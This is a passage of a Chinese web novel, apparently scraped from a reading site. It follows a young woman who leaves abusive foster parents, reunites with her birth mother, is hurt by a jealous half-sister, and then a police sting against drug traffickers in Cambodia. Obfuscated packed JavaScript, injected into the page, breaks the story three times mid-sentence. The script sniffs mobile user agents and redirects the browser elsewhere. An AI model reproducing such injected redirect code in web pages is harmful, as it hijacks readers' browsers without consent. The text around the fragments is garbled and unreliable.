这似乎是最好的结局,他们度过了浸满血与泪的漫长绝望时光,现在几乎所有人都有了光明的未来。 景明垂看向初与序的双眼,她的左眼是正常的乌黑,但右眼仍然是她在永冬之城彻底失明之前的状态,瞳孔边缘带着灰蒙蒙的雾霭。 她指了指自己的右眼:“你的右眼现在能看见一半吗?” 初与序点了点头:“像以前一样,看不清楚,但没彻底失明。” 可能是逆光的缘故,初与序的瞳孔显得格外幽深,脸色苍白。她的唇角微微上扬,但一点笑意都没有,只是天生唇形就是如此。 347.生母 过了半晌,景明垂斟酌着词句,小心地问:“接下来,你有什么打算吗?” 初与序想了想,淡淡道:“烧了善佑医院。” 景明垂一愣:“……什么?” “开玩笑。”初与序移开目光,“想办法让善佑医院和竹翰学院倒闭吧,但有点难度。” 何止是有点。 在旧世界里,随歌和苏叶冒着生命危险去探寻竹翰学院背后的秘密,最终也只挖出冰山一角——“新星集团”。而善佑医院背后呢?新星集团背后呢?还有多少他们不知道的组织和势力潜伏在大地之下,隐藏在暗处?天涯海角埋藏着无数披着合法外衣的犯罪集团,他们摧毁的这两个或许只是集中了所有罪恶的百分之一,千分之一,甚至万分之一。 如果江意和齐无尽在场,或许还好些。他们有经验和手段,至少能让竹翰学院曝光,让部分真相大白。但江意此刻远在美国,正陷在家族内斗当中,简单来说就是搏命,自身难保。齐无尽好不容易和妹妹离开了澳门,在里斯本过上了安稳日子,初与序不可能再把他拉回来做这种随时可能丧命的危险事。 如果回北在,她是警察,等级不低,可能有办法。但没人知道她具体是刑警、交警、司法警察,还是更危险的禁毒警。此刻联系不上她,说明她和她的女友南栀正身处某个极度危险的任务中,与罪恶正面交锋,更不能去打扰她,只希望她能平安归来。 现在这段时间,想让善佑医院和竹翰学院背后的人彻彻底底付出代价,难如登天。 大约一小时后,天色已经染上了黄昏的暖橘。 太阳一点点沉向地平线,将天际的云絮烧成熔金和暗紫混合的瑰丽画卷。再也不会有像永冬之城那样,从黄昏一直维持到清晨的蓝调天色了。这里的黑夜与白昼,炽热与清凉,都随着真实世界自然流转。 初与序和景明垂有一搭没一搭地说着话,阿山趴在景明垂脚边,昏昏欲睡。 就在这时,一个醒目的黄毛身影拖着一个巨大的行李箱,风风火火地从出站口的方向冲了出来。 那人速度太快,在拐弯时差点撞到一个拎着菜篮的老太太,吓得他赶紧来了个急刹车,连忙双手合十鞠躬道歉。老太太原本眉头一皱,刚要开口数落,一抬头对上他那双亮晶晶的眼睛,再一看那张即使在匆忙中依旧帅得过分的脸,火气顿时蹭蹭往下掉,只能无奈地摆摆手,叹气道:“算了算了,小伙子,看着点路啊!” “哎!谢谢阿姨!对不起对不起!”随歌又鞠了一躬,这才转过身四下搜寻。 下一秒,他就看见了站在便利店门口的初与序和景明垂。 一个面无表情,双手插兜,另一个则抱着胳膊,脸上带着毫不掩饰的无语。 “我靠——!!!”随歌眼睛一亮,拖着行李箱就朝她们狂奔而来,一人一个拥抱,然后抹了把头上的汗,喘气道,“终于下飞机了!在永冬之城待了五年,不对,是九千多年,我都他妈快习惯冬天了。现在突然回到夏天,这温度快热死我了!” 初与序看向他,他穿着一身骚包的蓝黄相间的花衬衫,下身是条米白色短裤。衬衫领口已经被汗水浸湿了一小片,左手插在裤兜里,右手搭在行李箱拉杆上,那只手骨节分明,五指修长有力,没有刺目的手术疤痕,只有指尖带着因为长期练吉他磨出的厚茧。 他的黄头发在阳光下闪闪发光,整个人站在暮色渐起的街头,带着生机勃勃和意气风发。 随歌低头一看,正对上景明垂脚边好奇抬头看着他的伯恩山犬。 “哇!阿山!”随歌立刻蹲下身,对着阿山毛茸茸的大脑袋就是一顿狂揉,然后伸手握着它的一只前爪,“阿山阿山,初次见面,我叫随歌。” 他把脸埋进阿山的颈毛里,也不管热不热了,深深吸了一口气:“等暑假结束,跟哥哥回北京好不好呀?别跟景明垂姐姐回江苏了,北京可好了,有故宫有天坛,还有全聚德烤鸭管够!” 景明垂嫌弃地看了他一眼,伸手把被揉得有点懵的阿山拉到自己身后:“随歌!你别抢我的狗。” 随歌眼巴巴地看着被护住的阿山,又抬头看看景明垂防备的表情,为了防止自己被一脚踹飞,他只好惋惜地叹了口气,站起身拍了拍短裤上沾到的狗毛,然后偷偷瞥了几眼旁边一直没说话的初与序。 初与序平静得有些过分了,她穿着黑色外套,颈上缠着几圈绷带,整个人似乎与周遭的喧嚣格格不入。 随歌和景明垂交换了一下眼神,他清了清嗓子,试图打破这不太对劲的气氛:“哎我说,你们安徽有啥好吃的啊?我从上飞机到现在一口饭都没吃呢,快饿死了!走走走,带我和景明垂吃完饭去!我现在有钱了,我请客!” 初与序闻言,沉默了几秒。 她生于安徽,长于安徽,可被问及家乡的名菜时,脑海里一片空白。只能想起来便利店里那些便宜的饭团。 总不能带人家去吃便利店的饭团,她开口刚想说“附近看看”,外套口袋里的手机却突然如催命般响起! 三人神色齐齐一愣,初与序顿了一下,伸手掏出手机。屏幕亮着,上面显示着来电人的名字:养母。 初与序的脸色瞬间沉了下去,但还是滑开了接听键。 她没有开免提,但电话那头尖锐的女声还是清晰地传了出来,钻入旁边两人的耳朵里—— “初与序!你死哪去了?!你们一小时后出高考成绩,你妈要打电话来问!二十分钟之内赶紧给我回来!你要是没考上五百分,就等着被打断腿吧!” 景明垂和随歌在听到后面那句话时脸色一变,皱紧眉头。只要初与序语气稍有不对,他们就准备接过电话,跟那头的人开喷。 却见初与序微微偏过头,将手机拿得远了些,淡淡道:“知道了,我现在回去。” 电话被粗暴地挂断,初与序将手机从耳边拿下去,重新揣回口袋里。然后抬头看向面前神色各异的景明垂和随歌:“抱歉。改天再约吧,我先送你们去旅店。” “不用不用!我们旅店就定在车站对面,近得很!”随歌朝着马路对面一家亮着红字的旅馆抬了抬下巴,“你还是赶紧回去吧,从这儿到你家半小时都不一定够呢。” “我们俩得在安徽待一个暑假的,明天,后天,大后天,哪天都能来找你。刚好过几天齐无尽他们也来安徽,不差这一顿。” 景明垂也点了点头,看向初与序:“你回去要是想和他们对骂,或者需要人说话,随时给我们打语音电话。” 随歌用力点头,接口道:“对!我们一定开团秒跟!绝不让你落单!” 黄昏的光线从侧面打过来,初与序看着他们,没有开口回答什么,只是朝他们挥了挥手,那是一个“回去吧”的手势。 然后便转过身,朝着路边出租车临时停靠点的方向走去。 景明垂和随歌站在原地,看着她穿过人群,走到路边,抬手拦下一辆出租车,随后拉开车门弯腰走路去。车门关上,车辆很快汇入川流不息的车河,消失在前方十字路口的拐角。 随歌收回目光, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243410|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻叹了口气。景明垂弯下腰摸了摸脚边阿山的脑袋,阿山仰起头,蹭了蹭她的手心,发出呼噜呼噜的哼声。 “走吧。”景明垂直起身,拉起行李箱,“先住下。” 两人转过身,拖着行李箱穿过昼夜不息的马路,朝着对面的旅馆走去。 寄养家庭的别墅建在郊区,与善佑医院差不多在同一个地区。出租车一路紧赶慢赶,还是没在二十分钟内抵达。当初与序推开车门下车时,手机屏幕上的时间已经跳到了六点四十。 郊区路灯稀疏,只有两盏灯勉强照亮别墅前的一小段柏油路。周遭的天色比市区暗沉得多,远处的山峦只剩下模糊的影子。鼻腔里充斥着草木和泥土在夜晚特有的湿润气息,远处偶尔传来几声犬吠。 不远处的别墅竟然只有一楼亮着灯,二楼和三楼一片漆黑,像是没有人在。 往日这时候,她名义上的养兄必然窝在二楼电竞房里,对着麦克风声嘶力竭地指挥或骂娘,隔着一层楼板都能隐约听见。可现在整栋房子静悄悄的,一点动静都没有。 事出反常必有妖——初与序条件反射地有了这个念头。指不定那一家人此刻聚在一楼走廊上摆好了阵势,就等着她推门进去,然后找个诸如“在外面鬼混一整天”之类的借口,一巴掌扇过来。 即使离开这里九千多年了,她还是忘不掉那些刻在骨子里的过去的记忆。 初与序在别墅大门口站了大约一分钟,然后掏出钥匙,打开门,走了进去。 一楼通往大厅的走廊灯火通明,大理石地面光洁,但并没有人等在门口,只有负责做饭和打扫卫生的阿姨独自站在边上,手里还拿这块抹布。 她看见初与序走进来,脸上闪过欲言又止,似乎想说什么,但最终还是把话咽回去,只是用略显拘谨和同情的语气低声说:“小序回来了。有客人来了,先生和夫人都在客厅陪着呢。” 初与序“嗯”了一声,下意识转身朝着楼梯走去,打算回自己房间——与其说房间不如说是很小很小的杂物间,给狗住狗都嫌弃。 “小序。”阿姨却上前一步拦住她,“先生和夫人让你去客厅。” 初与序一愣,让她去客厅见客人?他们疯了还是她自己疯了? 在过去十几年寄人篱下的生活里,经常有养父母的生意伙伴或上级来别墅到访,养父母禁止她露面,就像一件不体面的旧家具,需要待在房间里,等客人走了才能出来。 现在却让她自己去客厅,往往反常意味着麻烦。初与序皱着眉,继续往楼上走:“我不去了。” “初与序!” 忽然,一个刻意压低的男声从走廊尽头传来,初与序回过头,看到了她的养兄。 男人穿着名牌,染着杀马特头发,叉着腰站在客厅入口处,皱着眉看着她,神色却有些古怪,不再是平时的鄙夷,反而带着一丝丝……忌惮? “干什么?”初与序冷冷问道。 “你过来。”养兄朝她走了两步,习惯性地伸出手想直接拽她胳膊,但手伸到一半却猛地缩了回去,像是在怕什么,“跟我去客厅,他们都等着你。” “我刚从精神病院回来。”初与序说道,“医院来人了?你们又想送我进去?” 养兄的脸色瞬间变了变,瞪了她一眼,往前逼近一步,快速道:“少废话!你妈回来了!” 初与序完全愣住了,大脑一片空白,甚至没能立刻理解这几个字的意思。 我妈? 哪个……妈妈? 亲生母亲? 348.新家 初与序茫然地跟着养兄走进了那片灯光里,养兄上前一步推开了客厅的木门,里面的光线涌出,将两人笼罩。 客厅很大,铺设着光可鉴人的大理石地砖,正中央是一组沉重的红木沙发和茶几。养父母正坐在正对着门的沙发上,平日里在公司里说一不二的养父此刻却罕见地有些局促,即使在空调房,他额头上仍不断渗出汗珠,拿着纸巾不断擦拭。养母坐在他身边,双手交叠在膝盖上,不自在地笑着,眼神时不时飘向对面的客人,难掩紧张。 见初与序走进来,养父几乎是立刻就站了起来,脸上堆起笑容,夹着嗓子温声道:“小序回来啦?外面热吧?快过来,快过来,喝点水。” 养母也跟着起身,殷勤地拿起茶壶亲自倒了一杯水,小心翼翼将茶杯推到初与序的方向。 初与序面无表情地看了他们一眼,走到茶几边,看向另一侧的红木沙发,那里坐着一个中年女人。 只一眼,初与序就确定,真的是妈妈。 初母坐在那里,身姿笔挺,长发挽起,露出饱满的额头。她穿着米白色套装,胸襟处别着一枚价值不菲的高定胸针,右手无名指上戴着一枚硕大的钻戒,在水晶吊灯的折射下发出五彩斑斓的光芒,闪得初与序眼睛疼,下意识地避开了些许。 在初母身边,还坐着一个看起来八九岁的小姑娘。 小姑娘扎着两个短双马尾,穿着粉色的公主裙,脚上是一双小皮鞋。她一点也不怕生,晃着两条小腿,毫不掩饰地好奇地打量着突然出现的初与序,没有半分见到陌生人的警惕和不安。 初与序看了看小姑娘,又看了看母亲,总觉得她们长得很像。 “……妈。”她叫了一声。 初母眼圈瞬间就红了,朝着初与序伸出手:“小序,妈妈回来了。过来,过来给妈妈看看。” 初与序顺从地走了过去,在母亲面前停下。初母立刻抬起双手,轻轻地放在她的胳膊两侧,隔着外套清晰地感受到了底下手臂的瘦削和纤细。 初母上上下下地描摹着女儿的脸庞——过分苍白的脸色,眼下淡淡的青黑,没血色的唇,还有缠着绷带的脖颈。 她的手轻轻颤抖了起来,喃喃道:“怎么……怎么这么瘦了……” 就在这时,她的余光忽然扫到初与序露出的手背,那手背上赫然留着几块未消退的淤青。 在永冬之城的九千年,对于现实世界而言只过去了几秒钟。初与序离开善佑医院后,在这个“家”里仍然承受着暴力与苛待,以至于现在的身体上依旧带着新鲜的伤痕。 初母猛地一愣,一把撩起了初与序的袖子,露出了小臂上青青紫紫的痕迹。 她的眼泪瞬间就落了下来,死死盯着那些伤痕,胸膛剧烈起伏,紧紧握着女儿的手臂。 养父母一看这情形,彻底慌了神,急忙从沙发上弹起来,你一言我一语地解释:“这……这是孩子自己不小心摔的!我们、我们涂了药的,恢复慢!” “是的是的!小序走路快,性子急,我们这片路也不平,我们自己也容易摔着!” 初母突然狠狠一巴掌拍在红木茶几上!茶杯盖被震得叮当作响。她站起身,挡在了初与序面前,伸手指着对面脸色煞白的养父母,开口怒道:“我连续四年,一个月给你们五万生活费!你们就是这么对待我女儿的?!” “让她给你们全家人当佣人!洗衣做饭拖地!衣服全穿你们儿子不要的破烂!不给她饭吃!不让她好好上学!还把她送进精神病院!等到快高考了,知道瞒不住了,才假惺惺地把她接出来应付我?!” “你们还打她了?!这身上的伤是哪里来的?!要不是我突然回来,我还不知道!你们说话啊!” 她的骂声一句比一句掷地有声,和初与序记忆里的样子截然不同,有底气有力量。 初与序站在母亲身后,不知道自己此刻该是流泪,还是该跟母亲一起痛骂。最终她只是默默将袖子拉回去,背过手,然后跟沙发上的小姑娘大眼瞪小眼。 养父母被骂得脸色青白交加,想辩解,但根本插不进一句话,只能一边擦着冷汗一边点头哈腰地道歉。 养兄站在一旁更是手足无措。他疯狂给初与序使眼色,先是习惯性的威胁,后又变成恳求,希望她能开口说些什么,平息这场风暴。初与序只是移开视线,装作没看见。 初母骂够了,懒得再看那对夫妇一眼,转过身一手牵起沙发上小女孩,另一只手不由分说地拉过初与序的手:“走!别收什么行李了,这破地方的东西咱不要了!跟妈妈回家!” 她拉着两个孩子,踩着高跟鞋就朝着门口走去。 “诶!初太太!您别……您听我们解释……”养父还想追上来阻拦。 初母头也不回,冷冷丢下一句:“没什么好解释的!” 她拉着初与序和小女孩,快步穿过灯火通明的走廊,一把拉开大门,夏夜的凉风带着草木的清香涌了进来。 别墅门外此时此刻停着一亮黑色豪华轿车,穿着黑西装的司机等候在车门边。见她们出来,立刻躬身,利落地拉开了后座的车门。 初母先让小女孩坐了进去,然后侧过身看向站在夜色里的初与序:“上车吧,小序。” “妈妈……带你回家。” 初母口中的“家”,并不是初与序记忆里那个属于童年的地方。轿车行驶了很久,窗外的景色从郊区来到街区,最终驶入一片门禁森严的别墅区,停在了一栋远比养父母家更为气派的独立别墅门前。 初与序推开车门,跟在母亲后面,踏入这个陌生的家。 别墅内部空间非常开阔,挑高的客厅天花板悬挂着吊灯,光线璀璨。家具是统一的欧式风格,描金雕花,空气中弥漫着高级香薰的气味。 一位管家等候在门厅,见到她们,端上三盏茶。随后走到初母身侧,压低声音耳语了几句,应该是关于公司或生意上的事情。初母听完,微微点了点头,示意知晓,管家便退到了一边。 整个过程,初与序安静地站在一边,打开手机点开了高考成绩的查询页面。 果不其然,分数查十分到五百。但这个结果早已无足轻重了,没有人会在乎,连她自己都感觉不到太多的失落,平静地关上手机屏幕。 就在这时,别墅大厅那扇木门被人从外推开。 一个气质儒雅的中年男人走了进来,他戴着金丝边眼镜,衣着得体,举手投足间带着养尊处优的从容与疏离,与初母年纪相仿。 一直坐在沙发上的小姑娘一看到他,立刻跳了起来,迈着腿就朝他飞奔过去,一头扑进他怀里:“爸爸!你回来啦!” 男人蹲下身,摸了摸女儿的头,嘴角噙着温和的笑意:“嗯,爸爸回来了。小熙今天玩得怎么样?” “很开心!”小姑娘搂着他脖子。 这温馨的一幕发生时,初与序能感觉到母亲一直站在自己身后,紧张地观察着自己。她只当不知道,安静地站在原地。 男人和女儿简单地说了几句话便站起身,走到初与序面前站定,恢复了冷淡的神情,朝她点了点头:“与序,我姓夏。” 初与序立刻就看出来男人不喜欢自己,还是朝着他微微欠了欠身:“您好,夏叔叔。” 小姑娘蹦蹦跳跳地回到了初母身边,拉住她的衣角,仰起头笑嘻嘻地看着初与序,终于问道:“妈妈,她是客人嘛?怎么跟着我们回家啦?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243411|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >初与序抬头看向母亲。 哦,她是我妈女儿。 那我是谁? 我是谁女儿? 初母下意识地和初与序对视,蹲下身,尽量用轻松的语气对小姑娘说:“小熙,她不是客人,她是你姐姐呀,一直待在国内的。过几天我们回新加坡,姐姐也会跟着我们一起走的。” “姐姐”两个字一出口,小姑娘脸上的表情瞬间僵住。她的脸色沉下来,直勾勾地盯着初与序,慢慢皱起眉头。 过了几秒,她蹭蹭蹭几步跑到茶几边,客厅里三个人都没反应过来她要做什么—— 她猛地抄起茶几上的烟灰缸,用尽全力,朝着几步之外的初与序狠狠砸去! “小序!”初母惊呼出声。 初与序条件反射地侧身躲开!她的反应已经足够快了,但距离太近,烟灰缸边缘一角还是擦着她额头飞了过去,砸在地板上,碎裂开来。 额角传来尖锐的刺痛,血渗了出来。 “哇——!!!!” 与此同时,小姑娘嘹亮地哭了出来。她根本没有因为自己伤人而害怕或愧疚,反而哭得声嘶力竭,仿佛被打到的人是她自己。 “我不要她当我姐姐!我不要她来这里!不要她跟我们回去!!我才是妈妈唯一的女儿!唯一的!!” 她一边哭喊,一边转身扑进初母怀里,双手死死抱住母亲,把脸埋进去,哭声震天:“我不喜欢她!妈妈也不许喜欢她!不许!把她赶走!赶走!!” 初母被她撞得后退半步,脸上写满了错愕和尴尬。她下意识抱住了怀里哭闹不休的小女儿,焦急地看向初与序。 “小熙!你怎么能动手打姐姐!快、快别哭了……” 她抬头,看向站在一旁脸色沉下去的夏先生,急道:“老夏,快,快去叫医生来!小序流血了。” 夏先生点了点头,正要转身吩咐管家,却听见身后传来一句:“不必了。” “破了点皮而已,没事。”初与序随手抽出几张纸,按住伤口,对着夏先生点了下头,“谢谢您。” 小姑娘从初母怀里探出半个脑袋,泪眼朦胧但充满敌意地等着初与序。初母深吸一口气,低声对她说:“小熙,听话。姐姐也是妈妈的女儿,是你的亲姐姐。姐姐性格很好的,以后跟我们生活在一起,还可以经常带你玩。你刚才那样动手打姐姐,是非常不对的,非常危险的,知道吗?” “我就不嘛!我也不要她带我玩!”小姑娘又尖叫起来,撒泼打滚,“我有好多好朋友!Alina,Cecelia,还有Mia!她们都最喜欢跟我玩了!我就是不喜欢她!她一看就没朋友,肯定也不喜欢我!她是坏人!她才不是妈妈的女儿!妈妈只有我一个女儿!” 初与序深吸一口气,抬起头:“妈,叔叔,我先走了。” 说完,她转身朝着大门走去。 “小序!”初母下意识喊了一声,想要追上去。但衣角被怀里的小姑娘死死攥着,小姑娘像是知道她要做什么,哭得很大声,初母只能看着初与序推开门走出去,身影消失在浓重的夜色中。 “别担心。”夏先生走到她身边,揽住她肩膀拍了拍,“与序已经成年了,有分寸,不会出什么事了。等明天白天我们再联系她,也要给小熙一点接受的时间。突然多出个姐姐,她一时难以接受,也正常。” 初母仍皱眉看着大门的方向,怀里的小姑娘察觉到母亲的注意力还在那个“姐姐”身上,立刻又扭动起来,仰起脸扯了扯母亲的衣角,撒娇道: “妈妈!她走了!该给我讲睡前故事了!我们快上楼吧!” 初母叹了口气,收回视线,摸了摸女儿的头:“好,我们上楼。” 349.龙潭虎穴 初与序拉上外套的帽子,双手插进衣服口袋里,沿着街道走着。 高考成绩揭晓,有人欢喜有人愁。远处隐约传来少年们骑车自行车,迎着夏夜热风的欢笑声,混杂着另一个方向的警笛声、救护车声,和人群里的哭喊与骚动。 她走的这条小路人迹罕至,只有零星的车辆偶尔驶过。晚风吹在身上,初与序并没有感觉到凉爽,更多的是闷热,炙热又腐烂,让人喘不过气。 她不知道自己该去哪儿,也不知道晚上住哪,或许在路边坐到天亮也行。 初与序在一家深夜依然亮着灯的便利店前停下,进去买了包烟和打火机,拐到旁边一条小巷子深处,在台阶上坐下,点燃烟吸了一口。 某个瞬间,她下意识地开口打算和那个总是陪在她身边的人说些什么,但一转头,空无一人,才意识到那个人已经不在这个世界上了。 初与序垂下眼睫,缓缓伸出右手,五指张开,看着中指上那枚勿忘我戒指。 不远处,几只灰扑扑的飞蛾正不知疲倦地朝着路灯那圈昏黄的光晕撞过去。初与序抬起眼,望着那些执着赴死的飞蛾。就在那群飞蛾接触到她的目光时—— 它们齐刷刷定格在了半空中,翅膀维持着展开的姿势,就那么静静地悬浮着,一动不动,仿佛时间被定格。 初与序眼底闪过一丝复杂的情绪,她轻轻松开了攥紧的拳。 下一秒,那几只飞蛾的翅膀再次扇动起来,嗡嗡作响,重新恢复了活力,继续朝着路灯扑去。初与序也若无其事地移开目光,吸了一口烟,吐出烟雾。 妄主体内的精神力确实随着永冬之城的崩塌一同消散,但那并不是祂全部的精神本源,还有极其庞大的一部分在u谷身上。 在新世界里,u谷没有生那一场病,他体内也没有当初被善佑医院强行灌入的属于初与序的精神力,那么,那一大半精神力便回到了初与序体内,也就是她现在这具身体里,并且她依然能调用它。 现在她并没有武器,但有这一大半精神力,就够了。 初与序吸了最后一口烟,然后缓缓吐出,灰白的烟圈在昏暗中袅袅上升。她将烟头随手按在手腕上,扔进垃圾桶,随后站起身走出了小巷,再次推门进入那家便利店。 刚才的店员仍瘫在收银台后的椅子上刷着手机,听到声音,懒洋洋地掀起眼皮瞥了她一眼,嘀咕了一句什么,大概是“这人怎么又来了”之类的。 初与序走到柜台前,敲了敲桌面:“有白酒吗?烈一点的。” “有是有,但是……”店员抬起头打量她,犹豫了一下。这姑娘看起来年纪不大,可能刚高考完。这个点,独自一人买了烟和打火机,现在又来买酒,很难不让人往某些不好的方向联想。 但初与序脸上实在太平静了,甚至嘴角还带着淡淡的笑容,怎么看也不像是将死之人。 店员点了点头:“要几瓶?” “四瓶。”初与序淡淡道。 店员愣了一下,最终还是弯腰从柜台下取出四瓶小瓶装,但度数很高的白酒,装进塑料袋里,递了过去。 初与序扫码付了款,接过塑料袋,转身打算离开。 “……小心点。”店员还是没忍住,飞快说了一句。 初与序脚步顿了一下,没回头,推开玻璃门再次走进了外面闷热喧嚣的夏夜。 柬埔寨,磅湛省边境。 夜幕沉沉地覆盖在雨林与荒原之上,一座化工厂四面环绕着比人高的蒿草。铁门歪斜地半敞着,门板上用柬埔寨语喷涂着标识。一条土路通往厂区深处,路面上被车轮反复碾压的深浅不一,坑坑洼洼。 废弃工厂不远处,几栋低矮的平层小楼立着,楼顶野蛮生长着茂密的不知名藤蔓植物,在夜色中看去绿压压一片。空气里混杂着铁锈味和某种甜腻的气息,远处雨林里持续传来虫鸣。 “回队。”某处低矮平层的水泥楼梯拐角,一个埋在伪装枝叶下的身影动了动,张浩然露出小班长脸,压低声音,“咱在这儿趴了快半个钟头了,不是说十一点整准时开席吗?怎么连个鬼影子都没有?” “你急个屁。”回北趴扶在他旁边,握着望远镜,看向几百米外的化工厂。 南栀一行人落脚的地方是原材料的预处理车间,空旷高大,屋顶破损,漏出几缕惨白的月光。几盏照明灯早就断电,几个马仔举着手电筒,分散在一楼几个角落,看着前后两个入口。 回北皱起眉,如果她是徐文博,绝不会把交易地点定在这里。这里太危险了,四处都是阴影,遍地都是掩体,任何一个拐角都可能藏着人。徐文博把地点选在这里,要么就是没打算真心交易,准备黑吃黑,要么…… “回队!何贵的车来了!”后方传来另一名队员的声音。 回北移动望远镜,看向化工厂的大门口。两辆没有牌照的灰色丰田皮卡停在房门口,车门打开,下来六个人。领头的是个光头,脖子上有一圈刺青。他是何贵手下的头号打手,代号“白蝎”。 白蝎站在门口,环视了厂房周围一圈,最终将目光落在厂房中央的南栀身上。 南栀穿着当地常见的深色工装裤和黑色T恤,长发束成高马尾,露出干净的脸庞,正朝着白蝎露出一个温和的笑容。 她代号“竹笛”,徐文博集团中层,资历九年,性格温柔平和,见人先笑,很少动武,但经手的交易从未失手,撤退干净利落,所以也是徐文博的心腹之一。 “竹姐,好久不见。”白蝎朝她挥了挥手,然后朝着身后示意。 一个马仔立刻拎着一个黑色手提箱上前,放在两人中间的水泥台面上。他熟练地打开箱扣,里面整齐放着十包用透明真空袋密封的白色粉末,每包约一公斤,袋子一角被特意剪开一个小口,供验货使用。 南栀走上去,只一眼,便微微皱起眉头。 徐文博仓库里准备交易给何贵的货是液态的芬太尼衍生物,装在特制的恒温容器里。眼前这些却是最传统的白粉。 她伸出手捻起一小撮,放在指腹间轻轻揉搓。颗粒明显比真正的高纯度货粗糙,带着沙砾感——这是三个月前因提纯工艺失误而产生的积压货,应该被销毁,或者稀释后流入低端市场,不可能出现在与何贵这种级别伙伴的交易上。 南栀抬起头看向白蝎,对方正抬起手腕看表,同样皱着眉,脸上带着一丝不耐烦和紧张。 “怎么样?竹姐?”白蝎催促道,“我们老板还等着回话呢。” 南栀看向白蝎身后几位马仔,这些人手都插在口袋里,松散地站着。其中一个年轻人舔了舔嘴唇,不自觉地瞟向厂房外。 “怕条子来?”南栀调侃道,“放心,我们老大查过一遍,干净得很。又没有卧底,警察哪能知道这地方?” 她随即转向白蝎:“不过,老大的规矩不能坏。纯度还是要验一下的。” 白蝎挑起眉,摆了摆手:“竹姐,都是老熟人了,博哥的货我们还能不信?我们老板的款子也备得足足的,彼此信得过嘛。要不这样,货你先收下,回头你慢慢验?我们老板那边实在催得紧。” “博哥交代了,每一批货都必须当场验清楚。”南栀转身看向自己带来的一个手下,“是吧?” 那手下闻言却挠了挠头,脸上露出为难的神色,嗫嚅道:“竹姐,老大今天早上特意交代过,说这次交易,一切都听何老板那边的安排。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243412|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 南栀没有再说话,抱着胳膊,一只手摩挲着下巴,眉头皱得更紧了。 次品,假交易,假地点。 徐文博想干什么?为什么不告诉她却派她来这里?是为了测试什么?真正的交易在哪里?什么时候进行? “竹姐?”白蝎不耐烦道,“到底收,还是不收?” 南栀深吸了一口气,微笑道:“请稍等,我需要请示一下博哥。” 她转身走向车间深处阴影里,从工装裤口袋里掏出一部老旧的诺基亚手机。这是徐文博集团内部配发的,时刻被监控。 她拨通号码,几秒后电话接通。 “老大。”南栀开口道,“这边的货有些不对,是何贵那边拿错了,还是规矩变了?” 电话那头沉默了一会儿,然后徐文博的声音传了过来,慢条斯理道:“竹笛,你跟我多久了?” “四年三个月零七天。”南栀毫不犹豫开口。 “记得真清楚。”徐文博似乎低低笑了一声,“那你告诉我,如果现在有条子围着你们,你会怎么做?” 南栀抬头看向上方破碎的窗户,窗外是浓重的黑暗,但就在刚才那一刹那,远处某片楼顶上似乎有一丝丝不同于自然星光的反光,一闪而逝。 “老大,如果真的有条子,那何贵今天来就不是真的想跟我们交易。”南栀平静地开口,“他要么是想黑吃黑,要么就是他自己被盯上了,想拿我们当挡箭牌。” “有点道理。”电话那头,徐文博又开口,听不出是赞许还是什么,“那你觉得现在该怎么办?” 南栀沉思几秒,回答道:“我认为,可以直接清除掉何贵的人,我们撤,交易取消,事后查清何贵的底细,这笔账再算。如果老大您另有安排,我听令。” 听筒里传来一声叹息,但随即又被徐文博的笑意覆盖:“原地待命,等我消息。” 电话挂断,忙音响起。 南栀缓缓垂下拿着手机的手,放进工装裤口袋里,小拇指一勾,勾住了口袋边缘一枚纽扣。紧接着用力捏碎,然后借着身体遮掩,将报废的纽扣扔进旁边一根铁管的缝隙里,随后若无其事地朝着白蝎等人走去。 “回队!警报被触发了!”化工厂外围,负责通讯的技术队员猛地抬起头,“南姐切断了通讯!” 回北猛地举起望远镜,再次看向厂房中央。南栀依然站在那里,正对着白蝎说着什么,表情平静,周围的白蝎和几个马仔脸上带着点不耐烦。 “这里的交易是假的!”回北压低声音喝道,“南栀已经暴露了,徐文博一定有另一个真正的交易地点,行动时间就是现在!” “那真的他妈在哪?”张浩然连忙展开详细电子地图,“柬埔寨这么大,徐文博的老巢、别墅、仓库分散各地,很多秘密据点我们根本不知道!难道要上天去找?” 化工厂是诱饵,那么真正的交易地点必须在车程范围内,确保在警察主力被牵制于此的时间内完成交易并撤离。徐文博名下的产业有码头、物流中心、边境货栈……他和何贵近期的物资和人员调动…… “这里!” 回北夺过地图,放大屏幕,指着屏幕上距离化工厂约十五分钟车程的一个电商——湄公河支流下游,一片相对偏僻但拥有小型深水泊位的码头区域,旁边标注着一家物流公司的名字,控股方层层穿透后,指向徐文博控制的一个离岸空壳公司。 “B队,立刻跟我走!潜入码头区,确认情况,伺机行动!张浩然!” “到!” “你带A队继续留守,严密监控化工厂。一旦厂内有变,首要任务是保护我方卧底安全!” “明白!” 350.真交易 